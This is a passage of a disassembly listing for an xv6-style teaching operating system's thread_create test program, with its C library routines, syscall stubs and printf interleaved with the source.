_test: file format elf32-i386 Disassembly of section .text: 00000000 <main>: int n = 1; void test_func(void * arg_ptr); int main(int argc, char *argv[]){ 0: 55 push %ebp 1: 89 e5 mov %esp,%ebp 3: 83 e4 f0 and $0xfffffff0,%esp 6: 83 ec 20 sub $0x20,%esp printf(1,"thread_create test begin\n\n"); 9: c7 44 24 04 e6 0b 00 movl $0xbe6,0x4(%esp) 10: 00 11: c7 04 24 01 00 00 00 movl $0x1,(%esp) 18: e8 c8 04 00 00 call 4e5 <printf> printf(1,"before thread_create n = %d\n",n); 1d: a1 a4 0c 00 00 mov 0xca4,%eax 22: 89 44 24 08 mov %eax,0x8(%esp) 26: c7 44 24 04 01 0c 00 movl $0xc01,0x4(%esp) 2d: 00 2e: c7 04 24 01 00 00 00 movl $0x1,(%esp) 35: e8 ab 04 00 00 call 4e5 <printf> int arg = 10; 3a: c7 44 24 18 0a 00 00 movl $0xa,0x18(%esp) 41: 00 void *tid = thread_create(test_func, (void *)&arg); 42: 8d 44 24 18 lea 0x18(%esp),%eax 46: 89 44 24 04 mov %eax,0x4(%esp) 4a: c7 04 24 a8 00 00 00 movl $0xa8,(%esp) 51: e8 b8 08 00 00 call 90e <thread_create> 56: 89 44 24 1c mov %eax,0x1c(%esp) if(tid <= 0){ 5a: 83 7c 24 1c 00 cmpl $0x0,0x1c(%esp) 5f: 75 38 jne 99 <main+0x99> printf(1,"wrong happen"); 61: c7 44 24 04 1e 0c 00 movl $0xc1e,0x4(%esp) 68: 00 69: c7 04 24 01 00 00 00 movl $0x1,(%esp) 70: e8 70 04 00 00 call 4e5 <printf> exit(); 75: e8 ca 02 00 00 call 344 <exit> } while(wait()>= 0) printf(1,"\nback to parent n = %d\n",n); 7a: a1 a4 0c 00 00 mov 0xca4,%eax 7f: 89 44 24 08 mov %eax,0x8(%esp) 83: c7 44 24 04 2b 0c 00 movl $0xc2b,0x4(%esp) 8a: 00 8b: c7 04 24 01 00 00 00 movl $0x1,(%esp) 92: e8 4e 04 00 00 call 4e5 <printf> 97: eb 01 jmp 9a <main+0x9a> void *tid = thread_create(test_func, (void *)&arg); if(tid <= 0){ printf(1,"wrong happen"); exit(); } while(wait()>= 0) 99: 90 nop 9a: e8 ad 02 00 00 call 34c <wait> 9f: 85 c0 test %eax,%eax a1: 79 d7 jns 7a <main+0x7a> printf(1,"\nback to parent n = %d\n",n); exit(); a3: e8 9c 02 00 00 call 344 <exit> 000000a8 <test_func>: } //void test_func(void *arg_ptr){ void test_func(void *arg_ptr){ a8: 55 push %ebp a9: 89 e5 mov %esp,%ebp ab: 83 ec 28 sub $0x28,%esp int * num = (int *)arg_ptr; ae: 8b 45 08 mov 0x8(%ebp),%eax b1: 89 45 f4 mov %eax,-0xc(%ebp) n = *num; b4: 8b 45 f4 mov -0xc(%ebp),%eax b7: 8b 00 mov (%eax),%eax b9: a3 a4 0c 00 00 mov %eax,0xca4 printf(1,"\n n is updated as %d\n",*num); be: 8b 45 f4 mov -0xc(%ebp),%eax c1: 8b 00 mov (%eax),%eax c3: 89 44 24 08 mov %eax,0x8(%esp) c7: c7 44 24 04 43 0c 00 movl $0xc43,0x4(%esp) ce: 00 cf: c7 04 24 01 00 00 00 movl $0x1,(%esp) d6: e8 0a 04 00 00 call 4e5 <printf> texit(); db: e8 0c 03 00 00 call 3ec <texit> 000000e0 <stosb>: "cc"); } static inline void stosb(void *addr, int data, int cnt) { e0: 55 push %ebp e1: 89 e5 mov %esp,%ebp e3: 57 push %edi e4: 53 push %ebx asm volatile("cld; rep stosb" : e5: 8b 4d 08 mov 0x8(%ebp),%ecx e8: 8b 55 10 mov 0x10(%ebp),%edx eb: 8b 45 0c mov 0xc(%ebp),%eax ee: 89 cb mov %ecx,%ebx f0: 89 df mov %ebx,%edi f2: 89 d1 mov %edx,%ecx f4: fc cld f5: f3 aa rep stos %al,%es:(%edi) f7: 89 ca mov %ecx,%edx f9: 89 fb mov %edi,%ebx fb: 89 5d 08 mov %ebx,0x8(%ebp) fe: 89 55 10 mov %edx,0x10(%ebp) "=D" (addr), "=c" (cnt) : "0" (addr), "1" (cnt), "a" (data) : "memory", "cc"); } 101: 5b pop %ebx 102: 5f pop %edi 103: 5d pop %ebp 104: c3 ret 00000105 <strcpy>: #include "user.h" #include "x86.h" char* strcpy(char *s, char *t) { 105: 55 push %ebp 106: 89 e5 mov %esp,%ebp 108: 83 ec 10 sub $0x10,%esp char *os; os = s; 10b: 8b 45 08 mov 0x8(%ebp),%eax 10e: 89 45 fc mov %eax,-0x4(%ebp) while((*s++ = *t++) != 0) 111: 8b 45 0c mov 0xc(%ebp),%eax 114: 0f b6 10 movzbl (%eax),%edx 117: 8b 45 08 mov 0x8(%ebp),%eax 11a: 88 10 mov %dl,(%eax) 11c: 8b 45 08 mov 0x8(%ebp),%eax 11f: 0f b6 00 movzbl (%eax),%eax 122: 84 c0 test %al,%al 124: 0f 95 c0 setne %al 127: 83 45 08 01 addl $0x1,0x8(%ebp) 12b: 83 45 0c 01 addl $0x1,0xc(%ebp) 12f: 84 c0 test %al,%al 131: 75 de jne 111 <strcpy+0xc> ; return os; 133: 8b 45 fc mov -0x4(%ebp),%eax } 136: c9 leave 137: c3 ret 00000138 <strcmp>: int strcmp(const char *p, const char *q) { 138: 55 push %ebp 139: 89 e5 mov %esp,%ebp while(*p && *p == *q) 13b: eb 08 jmp 145 <strcmp+0xd> p++, q++; 13d: 83 45 08 01 addl $0x1,0x8(%ebp) 141: 83 45 0c 01 addl $0x1,0xc(%ebp) } int strcmp(const char *p, const char *q) { while(*p && *p == *q) 145: 8b 45 08 mov 0x8(%ebp),%eax 148: 0f b6 00 movzbl (%eax),%eax 14b: 84 c0 test %al,%al 14d: 74 10 je 15f <strcmp+0x27> 14f: 8b 45 08 mov 0x8(%ebp),%eax 152: 0f b6 10 movzbl (%eax),%edx 155: 8b 45 0c mov 0xc(%ebp),%eax 158: 0f b6 00 movzbl (%eax),%eax 15b: 38 c2 cmp %al,%dl 15d: 74 de je 13d <strcmp+0x5> p++, q++; return (uchar)*p - (uchar)*q; 15f: 8b 45 08 mov 0x8(%ebp),%eax 162: 0f b6 00 movzbl (%eax),%eax 165: 0f b6 d0 movzbl %al,%edx 168: 8b 45 0c mov 0xc(%ebp),%eax 16b: 0f b6 00 movzbl (%eax),%eax 16e: 0f b6 c0 movzbl %al,%eax 171: 89 d1 mov %edx,%ecx 173: 29 c1 sub %eax,%ecx 175: 89 c8 mov %ecx,%eax } 177: 5d pop %ebp 178: c3 ret 00000179 <strlen>: uint strlen(char *s) { 179: 55 push %ebp 17a: 89 e5 mov %esp,%ebp 17c: 83 ec 10 sub $0x10,%esp int n; for(n = 0; s[n]; n++) 17f: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%ebp) 186: eb 04 jmp 18c <strlen+0x13> 188: 83 45 fc 01 addl $0x1,-0x4(%ebp) 18c: 8b 45 fc mov -0x4(%ebp),%eax 18f: 03 45 08 add 0x8(%ebp),%eax 192: 0f b6 00 movzbl (%eax),%eax 195: 84 c0 test %al,%al 197: 75 ef jne 188 <strlen+0xf> ; return n; 199: 8b 45 fc mov -0x4(%ebp),%eax } 19c: c9 leave 19d: c3 ret 0000019e <memset>: void* memset(void *dst, int c, uint n) { 19e: 55 push %ebp 19f: 89 e5 mov %esp,%ebp 1a1: 83 ec 0c sub $0xc,%esp stosb(dst, c, n); 1a4: 8b 45 10 mov 0x10(%ebp),%eax 1a7: 89 44 24 08 mov %eax,0x8(%esp) 1ab: 8b 45 0c mov 0xc(%ebp),%eax 1ae: 89 44 24 04 mov %eax,0x4(%esp) 1b2: 8b 45 08 mov 0x8(%ebp),%eax 1b5: 89 04 24 mov %eax,(%esp) 1b8: e8 23 ff ff ff call e0 <stosb> return dst; 1bd: 8b 45 08 mov 0x8(%ebp),%eax } 1c0: c9 leave 1c1: c3 ret 000001c2 <strchr>: char* strchr(const char *s, char c) { 1c2: 55 push %ebp 1c3: 89 e5 mov %esp,%ebp 1c5: 83 ec 04 sub $0x4,%esp 1c8: 8b 45 0c mov 0xc(%ebp),%eax 1cb: 88 45 fc mov %al,-0x4(%ebp) for(; *s; s++) 1ce: eb 14 jmp 1e4 <strchr+0x22> if(*s == c) 1d0: 8b 45 08 mov 0x8(%ebp),%eax 1d3: 0f b6 00 movzbl (%eax),%eax 1d6: 3a 45 fc cmp -0x4(%ebp),%al 1d9: 75 05 jne 1e0 <strchr+0x1e> return (char*)s; 1db: 8b 45 08 mov 0x8(%ebp),%eax 1de: eb 13 jmp 1f3 <strchr+0x31> } char* strchr(const char *s, char c) { for(; *s; s++) 1e0: 83 45 08 01 addl $0x1,0x8(%ebp) 1e4: 8b 45 08 mov 0x8(%ebp),%eax 1e7: 0f b6 00 movzbl (%eax),%eax 1ea: 84 c0 test %al,%al 1ec: 75 e2 jne 1d0 <strchr+0xe> if(*s == c) return (char*)s; return 0; 1ee: b8 00 00 00 00 mov $0x0,%eax } 1f3: c9 leave 1f4: c3 ret 000001f5 <gets>: char* gets(char *buf, int max) { 1f5: 55 push %ebp 1f6: 89 e5 mov %esp,%ebp 1f8: 83 ec 28 sub $0x28,%esp int i, cc; char c; for(i=0; i+1 < max; ){ 1fb: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp) 202: eb 44 jmp 248 <gets+0x53> cc = read(0, &c, 1); 204: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp) 20b: 00 20c: 8d 45 ef lea -0x11(%ebp),%eax 20f: 89 44 24 04 mov %eax,0x4(%esp) 213: c7 04 24 00 00 00 00 movl $0x0,(%esp) 21a: e8 3d 01 00 00 call 35c <read> 21f: 89 45 f4 mov %eax,-0xc(%ebp) if(cc < 1) 222: 83 7d f4 00 cmpl $0x0,-0xc(%ebp) 226: 7e 2d jle 255 <gets+0x60> break; buf[i++] = c; 228: 8b 45 f0 mov -0x10(%ebp),%eax 22b: 03 45 08 add 0x8(%ebp),%eax 22e: 0f b6 55 ef movzbl -0x11(%ebp),%edx 232: 88 10 mov %dl,(%eax) 234: 83 45 f0 01 addl $0x1,-0x10(%ebp) if(c == '\n' || c == '\r') 238: 0f b6 45 ef movzbl -0x11(%ebp),%eax 23c: 3c 0a cmp $0xa,%al 23e: 74 16 je 256 <gets+0x61> 240: 0f b6 45 ef movzbl -0x11(%ebp),%eax 244: 3c 0d cmp $0xd,%al 246: 74 0e je 256 <gets+0x61> gets(char *buf, int max) { int i, cc; char c; for(i=0; i+1 < max; ){ 248: 8b 45 f0 mov -0x10(%ebp),%eax 24b: 83 c0 01 add $0x1,%eax 24e: 3b 45 0c cmp 0xc(%ebp),%eax 251: 7c b1 jl 204 <gets+0xf> 253: eb 01 jmp 256 <gets+0x61> cc = read(0, &c, 1); if(cc < 1) break; 255: 90 nop buf[i++] = c; if(c == '\n' || c == '\r') break; } buf[i] = '\0'; 256: 8b 45 f0 mov -0x10(%ebp),%eax 259: 03 45 08 add 0x8(%ebp),%eax 25c: c6 00 00 movb $0x0,(%eax) return buf; 25f: 8b 45 08 mov 0x8(%ebp),%eax } 262: c9 leave 263: c3 ret 00000264 <stat>: int stat(char *n, struct stat *st) { 264: 55 push %ebp 265: 89 e5 mov %esp,%ebp 267: 83 ec 28 sub $0x28,%esp int fd; int r; fd = open(n, O_RDONLY); 26a: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp) 271: 00 272: 8b 45 08 mov 0x8(%ebp),%eax 275: 89 04 24 mov %eax,(%esp) 278: e8 07 01 00 00 call 384 <open> 27d: 89 45 f0 mov %eax,-0x10(%ebp) if(fd < 0) 280: 83 7d f0 00 cmpl $0x0,-0x10(%ebp) 284: 79 07 jns 28d <stat+0x29> return -1; 286: b8 ff ff ff ff mov $0xffffffff,%eax 28b: eb 23 jmp 2b0 <stat+0x4c> r = fstat(fd, st); 28d: 8b 45 0c mov 0xc(%ebp),%eax 290: 89 44 24 04 mov %eax,0x4(%esp) 294: 8b 45 f0 mov -0x10(%ebp),%eax 297: 89 04 24 mov %eax,(%esp) 29a: e8 fd 00 00 00 call 39c <fstat> 29f: 89 45 f4 mov %eax,-0xc(%ebp) close(fd); 2a2: 8b 45 f0 mov -0x10(%ebp),%eax 2a5: 89 04 24 mov %eax,(%esp) 2a8: e8 bf 00 00 00 call 36c <close> return r; 2ad: 8b 45 f4 mov -0xc(%ebp),%eax } 2b0: c9 leave 2b1: c3 ret 000002b2 <atoi>: int atoi(const char *s) { 2b2: 55 push %ebp 2b3: 89 e5 mov %esp,%ebp 2b5: 83 ec 10 sub $0x10,%esp int n; n = 0; 2b8: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%ebp) while('0' <= *s && *s <= '9') 2bf: eb 24 jmp 2e5 <atoi+0x33> n = n*10 + *s++ - '0'; 2c1: 8b 55 fc mov -0x4(%ebp),%edx 2c4: 89 d0 mov %edx,%eax 2c6: c1 e0 02 shl $0x2,%eax 2c9: 01 d0 add %edx,%eax 2cb: 01 c0 add %eax,%eax 2cd: 89 c2 mov %eax,%edx 2cf: 8b 45 08 mov 0x8(%ebp),%eax 2d2: 0f b6 00 movzbl (%eax),%eax 2d5: 0f be c0 movsbl %al,%eax 2d8: 8d 04 02 lea (%edx,%eax,1),%eax 2db: 83 e8 30 sub $0x30,%eax 2de: 89 45 fc mov %eax,-0x4(%ebp) 2e1: 83 45 08 01 addl $0x1,0x8(%ebp) atoi(const char *s) { int n; n = 0; while('0' <= *s && *s <= '9') 2e5: 8b 45 08 mov 0x8(%ebp),%eax 2e8: 0f b6 00 movzbl (%eax),%eax 2eb: 3c 2f cmp $0x2f,%al 2ed: 7e 0a jle 2f9 <atoi+0x47> 2ef: 8b 45 08 mov 0x8(%ebp),%eax 2f2: 0f b6 00 movzbl (%eax),%eax 2f5: 3c 39 cmp $0x39,%al 2f7: 7e c8 jle 2c1 <atoi+0xf> n = n*10 + *s++ - '0'; return n; 2f9: 8b 45 fc mov -0x4(%ebp),%eax } 2fc: c9 leave 2fd: c3 ret 000002fe <memmove>: void* memmove(void *vdst, void *vsrc, int n) { 2fe: 55 push %ebp 2ff: 89 e5 mov %esp,%ebp 301: 83 ec 10 sub $0x10,%esp char *dst, *src; dst = vdst; 304: 8b 45 08 mov 0x8(%ebp),%eax 307: 89 45 f8 mov %eax,-0x8(%ebp) src = vsrc; 30a: 8b 45 0c mov 0xc(%ebp),%eax 30d: 89 45 fc mov %eax,-0x4(%ebp) while(n-- > 0) 310: eb 13 jmp 325 <memmove+0x27> *dst++ = *src++; 312: 8b 45 fc mov -0x4(%ebp),%eax 315: 0f b6 10 movzbl (%eax),%edx 318: 8b 45 f8 mov -0x8(%ebp),%eax 31b: 88 10 mov %dl,(%eax) 31d: 83 45 f8 01 addl $0x1,-0x8(%ebp) 321: 83 45 fc 01 addl $0x1,-0x4(%ebp) { char *dst, *src; dst = vdst; src = vsrc; while(n-- > 0) 325: 83 7d 10 00 cmpl $0x0,0x10(%ebp) 329: 0f 9f c0 setg %al 32c: 83 6d 10 01 subl $0x1,0x10(%ebp) 330: 84 c0 test %al,%al 332: 75 de jne 312 <memmove+0x14> *dst++ = *src++; return vdst; 334: 8b 45 08 mov 0x8(%ebp),%eax } 337: c9 leave 338: c3 ret 339: 90 nop 33a: 90 nop 33b: 90 nop 0000033c <fork>: name: \ movl $SYS_ ## name, %eax; \ int $T_SYSCALL; \ ret SYSCALL(fork) 33c: b8 01 00 00 00 mov $0x1,%eax 341: cd 40 int $0x40 343: c3 ret 00000344 <exit>: SYSCALL(exit) 344: b8 02 00 00 00 mov $0x2,%eax 349: cd 40 int $0x40 34b: c3 ret 0000034c <wait>: SYSCALL(wait) 34c: b8 03 00 00 00 mov $0x3,%eax 351: cd 40 int $0x40 353: c3 ret 00000354 <pipe>: SYSCALL(pipe) 354: b8 04 00 00 00 mov $0x4,%eax 359: cd 40 int $0x40 35b: c3 ret 0000035c <read>: SYSCALL(read) 35c: b8 05 00 00 00 mov $0x5,%eax 361: cd 40 int $0x40 363: c3 ret 00000364 <write>: SYSCALL(write) 364: b8 10 00 00 00 mov $0x10,%eax 369: cd 40 int $0x40 36b: c3 ret 0000036c <close>: SYSCALL(close) 36c: b8 15 00 00 00 mov $0x15,%eax 371: cd 40 int $0x40 373: c3 ret 00000374 <kill>: SYSCALL(kill) 374: b8 06 00 00 00 mov $0x6,%eax 379: cd 40 int $0x40 37b: c3 ret 0000037c <exec>: SYSCALL(exec) 37c: b8 07 00 00 00 mov $0x7,%eax 381: cd 40 int $0x40 383: c3 ret 00000384 <open>: SYSCALL(open) 384: b8 0f 00 00 00 mov $0xf,%eax 389: cd 40 int $0x40 38b: c3 ret 0000038c <mknod>: SYSCALL(mknod) 38c: b8 11 00 00 00 mov $0x11,%eax 391: cd 40 int $0x40 393: c3 ret 00000394 <unlink>: SYSCALL(unlink) 394: b8 12 00 00 00 mov $0x12,%eax 399: cd 40 int $0x40 39b: c3 ret 0000039c <fstat>: SYSCALL(fstat) 39c: b8 08 00 00 00 mov $0x8,%eax 3a1: cd 40 int $0x40 3a3: c3 ret 000003a4 <link>: SYSCALL(link) 3a4: b8 13 00 00 00 mov $0x13,%eax 3a9: cd 40 int $0x40 3ab: c3 ret 000003ac <mkdir>: SYSCALL(mkdir) 3ac: b8 14 00 00 00 mov $0x14,%eax 3b1: cd 40 int $0x40 3b3: c3 ret 000003b4 <chdir>: SYSCALL(chdir) 3b4: b8 09 00 00 00 mov $0x9,%eax 3b9: cd 40 int $0x40 3bb: c3 ret 000003bc <dup>: SYSCALL(dup) 3bc: b8 0a 00 00 00 mov $0xa,%eax 3c1: cd 40 int $0x40 3c3: c3 ret 000003c4 <getpid>: SYSCALL(getpid) 3c4: b8 0b 00 00 00 mov $0xb,%eax 3c9: cd 40 int $0x40 3cb: c3 ret 000003cc <sbrk>: SYSCALL(sbrk) 3cc: b8 0c 00 00 00 mov $0xc,%eax 3d1: cd 40 int $0x40 3d3: c3 ret 000003d4 <sleep>: SYSCALL(sleep) 3d4: b8 0d 00 00 00 mov $0xd,%eax 3d9: cd 40 int $0x40 3db: c3 ret 000003dc <uptime>: SYSCALL(uptime) 3dc: b8 0e 00 00 00 mov $0xe,%eax 3e1: cd 40 int $0x40 3e3: c3 ret 000003e4 <clone>: SYSCALL(clone) 3e4: b8 16 00 00 00 mov $0x16,%eax 3e9: cd 40 int $0x40 3eb: c3 ret 000003ec <texit>: SYSCALL(texit) 3ec: b8 17 00 00 00 mov $0x17,%eax 3f1: cd 40 int $0x40 3f3: c3 ret 000003f4 <tsleep>: SYSCALL(tsleep) 3f4: b8 18 00 00 00 mov $0x18,%eax 3f9: cd 40 int $0x40 3fb: c3 ret 000003fc <twakeup>: SYSCALL(twakeup) 3fc: b8 19 00 00 00 mov $0x19,%eax 401: cd 40 int $0x40 403: c3 ret 00000404 <thread_yield>: SYSCALL(thread_yield) 404: b8 1a 00 00 00 mov $0x1a,%eax 409: cd 40 int $0x40 40b: c3 ret 0000040c <putc>: #include "stat.h" #include "user.h" static void putc(int fd, char c) { 40c: 55 push %ebp 40d: 89 e5 mov %esp,%ebp 40f: 83 ec 28 sub $0x28,%esp 412: 8b 45 0c mov 0xc(%ebp),%eax 415: 88 45 f4 mov %al,-0xc(%ebp) write(fd, &c, 1); 418: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp) 41f: 00 420: 8d 45 f4 lea -0xc(%ebp),%eax 423: 89 44 24 04 mov %eax,0x4(%esp) 427: 8b 45 08 mov 0x8(%ebp),%eax 42a: 89 04 24 mov %eax,(%esp) 42d: e8 32 ff ff ff call 364 <write> } 432: c9 leave 433: c3 ret 00000434 <printint>: static void printint(int fd, int xx, int base, int sgn) { 434: 55 push %ebp 435: 89 e5 mov %esp,%ebp 437: 53 push %ebx 438: 83 ec 44 sub $0x44,%esp static char digits[] = "0123456789ABCDEF"; char buf[16]; int i, neg; uint x; neg = 0; 43b: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp) if(sgn && xx < 0){ 442: 83 7d 14 00 cmpl $0x0,0x14(%ebp) 446: 74 17 je 45f <printint+0x2b> 448: 83 7d 0c 00 cmpl $0x0,0xc(%ebp) 44c: 79 11 jns 45f <printint+0x2b> neg = 1; 44e: c7 45 f0 01 00 00 00 movl $0x1,-0x10(%ebp) x = -xx; 455: 8b 45 0c mov 0xc(%ebp),%eax 458: f7 d8 neg %eax 45a: 89 45 f4 mov %eax,-0xc(%ebp) char buf[16]; int i, neg; uint x; neg = 0; if(sgn && xx < 0){ 45d: eb 06 jmp 465 <printint+0x31> neg = 1; x = -xx; } else { x = xx; 45f: 8b 45 0c mov 0xc(%ebp),%eax 462: 89 45 f4 mov %eax,-0xc(%ebp) } i = 0; 465: c7 45 ec 00 00 00 00 movl $0x0,-0x14(%ebp) do{ buf[i++] = digits[x % base]; 46c: 8b 4d ec mov -0x14(%ebp),%ecx 46f: 8b 5d 10 mov 0x10(%ebp),%ebx 472: 8b 45 f4 mov -0xc(%ebp),%eax 475: ba 00 00 00 00 mov $0x0,%edx 47a: f7 f3 div %ebx 47c: 89 d0 mov %edx,%eax 47e: 0f b6 80 a8 0c 00 00 movzbl 0xca8(%eax),%eax 485: 88 44 0d dc mov %al,-0x24(%ebp,%ecx,1) 489: 83 45 ec 01 addl $0x1,-0x14(%ebp) }while((x /= base) != 0); 48d: 8b 45 10 mov 0x10(%ebp),%eax 490: 89 45 d4 mov %eax,-0x2c(%ebp) 493: 8b 45 f4 mov -0xc(%ebp),%eax 496: ba 00 00 00 00 mov $0x0,%edx 49b: f7 75 d4 divl -0x2c(%ebp) 49e: 89 45 f4 mov %eax,-0xc(%ebp) 4a1: 83 7d f4 00 cmpl $0x0,-0xc(%ebp) 4a5: 75 c5 jne 46c <printint+0x38> if(neg) 4a7: 83 7d f0 00 cmpl $0x0,-0x10(%ebp) 4ab: 74 28 je 4d5 <printint+0xa1> buf[i++] = '-'; 4ad: 8b 45 ec mov -0x14(%ebp),%eax 4b0: c6 44 05 dc 2d movb $0x2d,-0x24(%ebp,%eax,1) 4b5: 83 45 ec 01 addl $0x1,-0x14(%ebp) while(--i >= 0) 4b9: eb 1a jmp 4d5 <printint+0xa1> putc(fd, buf[i]); 4bb: 8b 45 ec mov -0x14(%ebp),%eax 4be: 0f b6 44 05 dc movzbl -0x24(%ebp,%eax,1),%eax 4c3: 0f be c0 movsbl %al,%eax 4c6: 89 44 24 04 mov %eax,0x4(%esp) 4ca: 8b 45 08 mov 0x8(%ebp),%eax 4cd: 89 04 24 mov %eax,(%esp) 4d0: e8 37 ff ff ff call 40c <putc> buf[i++] = digits[x % base]; }while((x /= base) != 0); if(neg) buf[i++] = '-'; while(--i >= 0) 4d5: 83 6d ec 01 subl $0x1,-0x14(%ebp) 4d9: 83 7d ec 00 cmpl $0x0,-0x14(%ebp) 4dd: 79 dc jns 4bb <printint+0x87> putc(fd, buf[i]); } 4df: 83 c4 44 add $0x44,%esp 4e2: 5b pop %ebx 4e3: 5d pop %ebp 4e4: c3 ret 000004e5 <printf>: // Print to the given fd. Only understands %d, %x, %p, %s. void printf(int fd, char *fmt, ...) { 4e5: 55 push %ebp 4e6: 89 e5 mov %esp,%ebp 4e8: 83 ec 38 sub $0x38,%esp char *s; int c, i, state; uint *ap; state = 0; 4eb: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp) ap = (uint*)(void*)&fmt + 1; 4f2: 8d 45 0c lea 0xc(%ebp),%eax 4f5: 83 c0 04 add $0x4,%eax 4f8: 89 45 f4 mov %eax,-0xc(%ebp) for(i = 0; fmt[i]; i++){ 4fb: c7 45 ec 00 00 00 00 movl $0x0,-0x14(%ebp) 502: e9 7e 01 00 00 jmp 685 <printf+0x1a0> c = fmt[i] & 0xff; 507: 8b 55 0c mov 0xc(%ebp),%edx 50a: 8b 45 ec mov -0x14(%ebp),%eax 50d: 8d 04 02 lea (%edx,%eax,1),%eax 510: 0f b6 00 movzbl (%eax),%eax 513: 0f be c0 movsbl %al,%eax 516: 25 ff 00 00 00 and $0xff,%eax 51b: 89 45 e8 mov %eax,-0x18(%ebp) if(state == 0){ 51e: 83 7d f0 00 cmpl $0x0,-0x10(%ebp) 522: 75 2c jne 550 <printf+0x6b> if(c == '%'){ 524: 83 7d e8 25 cmpl $0x25,-0x18(%ebp) 528: 75 0c jne 536 <printf+0x51> state = '%'; 52a: c7 45 f0 25 00 00 00 movl $0x25,-0x10(%ebp) 531: e9 4b 01 00 00 jmp 681 <printf+0x19c> } else { putc(fd, c); 536: 8b 45 e8 mov -0x18(%ebp),%eax 539: 0f be c0 movsbl %al,%eax 53c: 89 44 24 04 mov %eax,0x4(%esp) 540: 8b 45 08 mov 0x8(%ebp),%eax 543: 89 04 24 mov %eax,(%esp) 546: e8 c1 fe ff ff call 40c <putc> 54b: e9 31 01 00 00 jmp 681 <printf+0x19c> } } else if(state == '%'){ 550: 83 7d f0 25 cmpl $0x25,-0x10(%ebp) 554: 0f 85 27 01 00 00 jne 681 <printf+0x19c> if(c == 'd'){ 55a: 83 7d e8 64 cmpl $0x64,-0x18(%ebp) 55e: 75 2d jne 58d <printf+0xa8> printint(fd, *ap, 10, 1); 560: 8b 45 f4 mov -0xc(%ebp),%eax 563: 8b 00 mov (%eax),%eax 565: c7 44 24 0c 01 00 00 movl $0x1,0xc(%esp) 56c: 00 56d: c7 44 24 08 0a 00 00 movl $0xa,0x8(%esp) 574: 00 575: 89 44 24 04 mov %eax,0x4(%esp) 579: 8b 45 08 mov 0x8(%ebp),%eax 57c: 89 04 24 mov %eax,(%esp) 57f: e8 b0 fe ff ff call 434 <printint> ap++; 584: 83 45 f4 04 addl $0x4,-0xc(%ebp) 588: e9 ed 00 00 00 jmp 67a <printf+0x195> } else if(c == 'x' || c == 'p'){ 58d: 83 7d e8 78 cmpl $0x78,-0x18(%ebp) 591: 74 06 je 599 <printf+0xb4> 593: 83 7d e8 70 cmpl $0x70,-0x18(%ebp) 597: 75 2d jne 5c6 <printf+0xe1> printint(fd, *ap, 16, 0); 599: 8b 45 f4 mov -0xc(%ebp),%eax 59c: 8b 00 mov (%eax),%eax 59e: c7 44 24 0c 00 00 00 movl $0x0,0xc(%esp) 5a5: 00 5a6: c7 44 24 08 10 00 00 movl $0x10,0x8(%esp) 5ad: 00 5ae: 89 44 24 04 mov %eax,0x4(%esp) 5b2: 8b 45 08 mov 0x8(%ebp),%eax 5b5: 89 04 24 mov %eax,(%esp) 5b8: e8 77 fe ff ff call 434 <printint> ap++; 5bd: 83 45 f4 04 addl $0x4,-0xc(%ebp) } } else if(state == '%'){ if(c == 'd'){ printint(fd, *ap, 10, 1); ap++; } else if(c == 'x' || c == 'p'){ 5c1: e9 b4 00 00 00 jmp 67a <printf+0x195> printint(fd, *ap, 16, 0); ap++; } else if(c == 's'){ 5c6: 83 7d e8 73 cmpl $0x73,-0x18(%ebp) 5ca: 75 46 jne 612 <printf+0x12d> s = (char*)*ap; 5cc: 8b 45 f4 mov -0xc(%ebp),%eax 5cf: 8b 00 mov (%eax),%eax 5d1: 89 45 e4 mov %eax,-0x1c(%ebp) ap++; 5d4: 83 45 f4 04 addl $0x4,-0xc(%ebp) if(s == 0) 5d8: 83 7d e4 00 cmpl $0x0,-0x1c(%ebp) 5dc: 75 27 jne 605 <printf+0x120> s = "(null)"; 5de: c7 45 e4 59 0c 00 00 movl $0xc59,-0x1c(%ebp) while(*s != 0){ 5e5: eb 1f jmp 606 <printf+0x121> putc(fd, *s); 5e7: 8b 45 e4 mov -0x1c(%ebp),%eax 5ea: 0f b6 00 movzbl (%eax),%eax 5ed: 0f be c0 movsbl %al,%eax 5f0: 89 44 24 04 mov %eax,0x4(%esp) 5f4: 8b 45 08 mov 0x8(%ebp),%eax 5f7: 89 04 24 mov %eax,(%esp) 5fa: e8 0d fe ff ff call 40c <putc> s++; 5ff: 83 45 e4 01 addl $0x1,-0x1c(%ebp) 603: eb 01 jmp 606 <printf+0x121> } else if(c == 's'){ s = (char*)*ap; ap++; if(s == 0) s = "(null)"; while(*s != 0){ 605: 90 nop 606: 8b 45 e4 mov -0x1c(%ebp),%eax 609: 0f b6 00 movzbl (%eax),%eax 60c: 84 c0 test %al,%al 60e: 75 d7 jne 5e7 <printf+0x102> 610: eb 68 jmp 67a <printf+0x195> putc(fd, *s); s++; } } else if(c == 'c'){ 612: 83 7d e8 63 cmpl $0x63,-0x18(%ebp) 616: 75 1d jne 635 <printf+0x150> putc(fd, *ap); 618: 8b 45 f4 mov -0xc(%ebp),%eax 61b: 8b 00 mov (%eax),%eax 61d: 0f be c0 movsbl %al,%eax 620: 89 44 24 04 mov %eax,0x4(%esp) 624: 8b 45 08 mov 0x8(%ebp),%eax 627: 89 04 24 mov %eax,(%esp) 62a: e8 dd fd ff ff call 40c <putc> ap++; 62f: 83 45 f4 04 addl $0x4,-0xc(%ebp) 633: eb 45 jmp 67a <printf+0x195> } else if(c == '%'){ 635: 83 7d e8 25 cmpl $0x25,-0x18(%ebp) 639: 75 17 jne 652 <printf+0x16d> putc(fd, c); 63b: 8b 45 e8 mov -0x18(%ebp),%eax 63e: 0f be c0 movsbl %al,%eax 641: 89 44 24 04 mov %eax,0x4(%esp) 645: 8b 45 08 mov 0x8(%ebp),%eax 648: 89 04 24 mov %eax,(%esp) 64b: e8 bc fd ff ff call 40c <putc> 650: eb 28 jmp 67a <printf+0x195> } else { // Unknown % sequence. Print it to draw attention. putc(fd, '%'); 652: c7 44 24 04 25 00 00 movl $0x25,0x4(%esp) 659: 00 65a: 8b 45 08 mov 0x8(%ebp),%eax 65d: 89 04 24 mov %eax,(%esp) 660: e8 a7 fd ff ff call 40c <putc> putc(fd, c); 665: 8b 45 e8 mov -0x18(%ebp),%eax 668: 0f be c0 movsbl 